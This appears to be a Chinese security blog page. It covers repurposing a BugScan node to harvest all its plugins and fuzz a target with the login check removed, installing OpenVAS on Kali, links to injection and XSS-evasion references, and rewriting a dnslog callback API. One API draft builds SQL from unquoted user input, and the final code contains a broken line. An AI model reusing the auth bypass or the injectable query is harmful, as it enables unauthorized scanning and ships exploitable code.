所以,如果自己需要构建全部的bugscan的插件扫描功能的话.感觉还是比较简单.获取全部的插件,需要更改的就是节点中的target,还有entry,删掉或者注释掉登陆验证的请求的地方,按照它本身的结果写入或者重构数据库.其他的就静静的等待结果就好了.反正都是全部fuzz一遍.

 Mysql_table_insert('loglog', body=self.format(record))

Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

Mysql_table_insert('tasklog', uuid=uuid, plugin_id=Scan_ThreadLocal.__pid, service=service, arg=repr(arg),

Mysql_table_insert('assignlog', time=int(i11i1ii1I - iI1i111I1Ii), uuid=hash, plugin_id=OO0O0,service=service, prearg=repr(arg), arg=repr(oOoO00o), isret=1, push=O0O0Oo00, i=ai + 1)

Mysql_table_insert('auditlog', uuid=md5.md5(url).hexdigest(), plugin_id=OO0O0, type=1, arg=repr(url),time=int(Day_time_2 - Day_time_1))

Mysql_table_insert('debuglog', plugin_id=Scan_ThreadLocal.__pid, body=fmt % args)

更改了一下获取的方式,因为我发现部分插件无法入库。所以入库的时候全部采用了base64编码的形式入库

                    if iIIi:
                        o0O0O00('[***] fetch %d new plugins', len(iIIi))
                        i1iiIiI1Ii1i = i1.get_plugin_list(iIIi)

                        for hash in i1iiIiI1Ii1i:
                            i1iIi = i1iiIiI1Ii1i[hash]
                            oO00oo0o00o0o[hash] = (i1iIi[0], zlib.decompress(binascii.a2b_hex(i1iIi[1])))
                            #get
                            try:
                                dbcon = Mysqlclass()
                                sql = "insert `plugin` (`name`,`upid`,`content`) VALUES (%s, %s, %s)"
                                args = str(oO00oo0o00o0o[hash][0]),str(hash),base64.b64encode(str(oO00oo0o00o0o[hash][1]))
                                print str(oO00oo0o00o0o[hash][0])
                                dbcon.exec_sql(sql,args)
                            except Exception, e:
                                print str(oO00oo0o00o0o[hash][0]),str(e)
                                pass

然后按照它本身的步骤,从数据库里面获取插件出来调用.最后的形式就是.

def get_plugins():
    plugins = {}
    sql = "select name,content from `plugin`"
    results = dbconn.select_result(sql)
    for result in results:
        pocid = int(result['name'])
        plugins[pocid] =base64.decodestring(result['content'])
    return plugins

def main(target):
    if target == '':
        target = domain
    plugins = get_plugins()
    glock = None
    gdebug = "0"
    debugkey = ''
    policy = {
        u'subdomain': True, 
        u'scanport': True, 
        u'maxtask': 7000, 
        u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
        u'anyone': True, 
        u'timeout': 24, 
        u'plugins': plugins,#{2051: '',1070: '', 1072: '', 1073: '', 1074: ''}
        u'target': target, #可以为域名和ip
        u'user_dict': u'', 
        u'pass_dict': u'', 
        u'speed': 6
    }
    tid = 1234
    service = 'www'
    ProcessWork(glock, gdebug, debugkey, tid, service, policy)

if __name__ == '__main__':
    import sys
    if len(sys.argv)==2:
        domain = sys.argv[1]
        main(domain)
    else:
        print ("%s http://fuck.0day5.com" % (sys.argv[0]))

kali下安装Openvas

发布时间:March 11, 2017 // 分类:linux,windows // No Comments


今天发现做几个模型没有太大的思路,和小伙伴出去应急,顺便练练手看看还会不会渗透这个技术活.发现以前无聊的时候写的一些脚本还比较实在,但是局限性还是体现出来了.发现扫描的时候一些问题还是不能全部的体现出来.恰好小伙们有个kali的虚拟机,然后想到许久以前用过的openvas,给小伙伴拷贝了一份虚拟机回来安装试试


其实kali是有openvas这个玩意的,就是没有启动安装的脚本或者叫做同步漏洞信息的脚本.

openvas-setup


这个过程相当的漫长,会同步从不知道多久开始到最新的cve漏洞库.
根据自身的网速来看这个问题吧.反正这个时间漫长到我看完了枪版高清的《乘风破浪》。

当安装过程完成后,在控制台的最后一行显示一个长密码。此密码用于登录OpenVAS Web界面。

981391b6-35f5-471f-b3e5-372bb50a2d24

安装完毕后,OpenVAS manager, scanner 和 service分别开启在9390,9391,9392和80端口。等待我们去连接

root@kali:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:9390          0.0.0.0:*               LISTEN      9006/openvasmd  
tcp        0      0 127.0.0.1:9391          0.0.0.0:*               LISTEN      8980/ ETA: 00:19)
tcp        0      0 127.0.0.1:9392          0.0.0.0:*               LISTEN      9011/gsad  

然后去访问
https://127.0.0.1:9392/
用户名admin使用生成的密码登录

开几个虚拟机测试一下


看看这个样子效果应该是不错的

实际效果

如果发现openVAS没有启动,可以使用

openvas-start

然后访问https://127.0.0.1:9392

装好了,打包虚拟机发过去.over

burp出品的服务器端模板注入教程

发布时间:February 27, 2017 // 分类:工作日志,linux,转帖文章,windows // 1 Comment

地址:http://blog.portswigger.net/2015/08/server-side-template-injection.html
好长..看了一下,却是讲的很清楚..
抽空翻译下..

XSS 绕过的地址:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

https://html5sec.org/

** 从内存中恢复python代码**

https://gist.github.com/simonw/8aa492e59265c1a021f5c5618f9e6b12

** 利用svn下载github项目中的某个文件夹或者文件 **
比如要下载:

https://github.com/xubo245/SparkLearning/tree/master/docs

下面的两个文件夹,每个文件夹下有多个pdf文件
方法:
将“tree/master”改成“trunk”

https://github.com/xubo245/SparkLearning/trunk/docs

下载:

svn checkout https://github.com/xubo245/SparkLearning/trunk/docs

一些笔记

1.XML external entity (XXE) injection vulnerabilities

https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf

2.Server-side code injection vulnerabilities

https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf

3.SSI Inject

http://httpd.apache.org/docs/current/howto/ssi.html

改造dnslog的api为我们需要的输出方式

发布时间:December 13, 2016 // 分类:开发笔记,linux,python,windows,生活琐事 // No Comments

以前有cloudeye,发现它的api友好的不得了,后来又尝试过一段时间的ceye.io就是ceye.io其实不稳定,后来把目光转向了dnslog不得不说dnslog的开源确实是方便,但是它的api确实是蛋疼的紧
比如我们有一个whoami的参数

通过api查询

http://webadmin.secevery.com/api/web/www/whoami/

发现是false,仔细对比了下它的api函数,居然是

def api(request, logtype, udomain, hashstr):
    apistatus = False
    host = "%s.%s." % (hashstr, udomain)
    if logtype == 'dns':
        res = DNSLog.objects.filter(host__contains=host)
        if len(res) > 0:
            apistatus = True
    elif logtype == 'web':
        res = WebLog.objects.filter(path__contains=host)
        if len(res) > 0:
            apistatus = True
    else:
        return HttpResponseRedirect('/')
    return render(request, 'api.html', {'apistatus': apistatus})


host = "%s.%s." % (hashstr, udomain) 这尼玛~
只能查询xxxx.fuck.dns5.org的类型了.对于fuck.dns5.org/?cmd=fuck的形式好像不能查询。这尼玛~本想重新改写的.发现工程量太大了,就拿dnslog来修改api函数就好了
 #重新改写api
#1.默认访问全部的日志信息
#2.可以访问/api/xxxx/dns|web/
#3.可以精确定位到/api/xxxx/(dns|web)/xxxx/
步骤
#先获取userid 
#xxx = (select userid from logview_user where udomain = udomain)
 
再根据dns|web的方式分别执行sql语句
if logtype == 'dns':
        #需要执行的是select log_time,host from logview_dnslog where userid = xxx and path like '%hashstr%'
elif logtype == 'web':
        #需要执行的是SELECT "remote_addr","http_user_agent","log_time","path" FROM "logview_weblog" WHERE "user_id"=xxx and path like '%hashstr%'
 
这里的hashstr其实是可以为空的.就拿默认的数据库来测试

SELECT "log_time","remote_addr","http_user_agent","path" FROM "logview_weblog" WHERE user_id=(select id from logview_user where udomain = 'test') and path like '3%'
log_time    remote_addr http_user_agent path
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/favicon.ico

保持hashstr为空

SELECT "log_time","remote_addr","http_user_agent","path" FROM "logview_weblog" WHERE user_id=(select id from logview_user where udomain = 'test') and path like '%%'

结果依然是

log_time    remote_addr http_user_agent path
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/favicon.ico

这样就保证了xxx的完整性
 
大概改写后的api函数为

def api(request, logtype, udomain, hashstr):
    result = ''
    #首先保证udomain不能为空
    if len(udomain)>0:
        if logtype == 'dns':
            sql = "select log_time,host from logview_dnslog where userid = (select userid from logview_user \"
                "where udomain = {udomain}) and path like '%{hash}%'".format(udomain=udomain,hash=hashstr)
        elif logtype == 'web':
            sql = "SELECT log_time,remote_addr,http_user_agent,path FROM logview_weblog WHERE user_id=(select \"
                "id from logview_user where udomain = {udomain}) and path like '%{hash}%'".format(udomain=udomain,hash=hashstr)
        logging.info(sql)
        #excute.sql
    return result



其实意淫而已。不熟悉django.还在泪奔中。真特么的狗日的chrome的未知bug。动方向键就奔溃。


大约完毕了,以后有bug再说

def api(request, logtype, udomain, hashstr):  
    import json                                         
    result = None
    re_result =                                                                              
    host = "%s.%s." % (hashstr, udomain)                                                               
    if logtype == 'web':                                                                               
        res = WebLog.objects.all().filter(path__contains=hashstr)                                                                                                                  
        if len(res) > 0:                                                                               
            for rr in res:
                result = dict(
                    time= str(rr.log_time),
                    ipaddr = rr.remote_addr,
                    ua = rr.http_user_agent,
                    path = rr.path
                )                                                                     
                re_result.append(result)

    elif logtype == 'dns':      
        res = DNSLog.objects.all().filter(host__contains=host)     
        if len(res) > 0:
            for rr in res:
                result = dict(
                    time = str(rr.log_time),
                    host = rr.host
                    )
                re_result.append(result)

    else:
        return HttpResponseRedirect('/')
    return render(request, 'api.html', {'apistatus': json.dumps(re_result)})
分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...